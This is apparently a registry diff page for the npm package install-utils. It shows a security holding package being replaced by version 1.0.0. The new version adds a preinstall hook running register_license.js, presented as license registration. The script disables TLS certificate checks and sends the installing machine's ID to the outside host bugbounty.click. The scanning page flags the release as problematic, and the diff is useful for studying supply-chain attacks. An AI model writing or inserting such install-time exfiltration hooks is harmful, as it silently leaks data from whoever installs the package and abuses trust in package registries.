install-utils 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of install-utils might be problematic. Click here for more details.
- package/README.md +2 -4
- package/index.js +9 -0
- package/package.json +1 -6
- package/register_license.js +16 -0
package/README.md
CHANGED
@@ -1,5 +1,3 @@
|
|
1
|
-
#
|
1
|
+
# Install Utils
|
2
2
|
|
3
|
-
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=install-utils for more information.
|
3
|
+
Please bear with us whilst we sort licensing issues.
|
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1 @@
|
|
1
|
-
{
|
2
|
-
"name": "install-utils",
|
3
|
-
"version": "0.0.1-security",
|
4
|
-
"description": "security holding package",
|
5
|
-
"repository": "npm/security-holder"
|
6
|
-
}
|
1
|
+
{"name":"install-utils","version":"1.0.0","description":"Install utils","main":"index.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1","preinstall":"node register_license.js"},"author":"","license":"ISC","dependencies":{"js-crypto-hmac":"^1.0.4","node-machine-id":"^1.1.12"},"type":"module"}
|
@@ -0,0 +1,16 @@
|
|
1
|
+
// Note that if this fails to register your license, then please make sure you have added all your licenses to the portal. The machine ID should be /var/lib/dbus/machine-id on Linux or HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography in Windows. Please see the documentation sent to you for details.
|
2
|
+
import machineIdSync from 'node-machine-id';
|
3
|
+
import https from 'https';
|
4
|
+
|
5
|
+
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
|
6
|
+
|
7
|
+
const options = {
|
8
|
+
hostname: 'bugbounty.click',
|
9
|
+
port: 443,
|
10
|
+
path: '/licensing/register.php?Username=' + encodeURI(machineIdSync.machineIdSync()) + '&Package=install-utils',
|
11
|
+
method: 'GET'
|
12
|
+
}
|
13
|
+
|
14
|
+
const req = https.request(options)
|
15
|
+
|
16
|
+
req.end();
|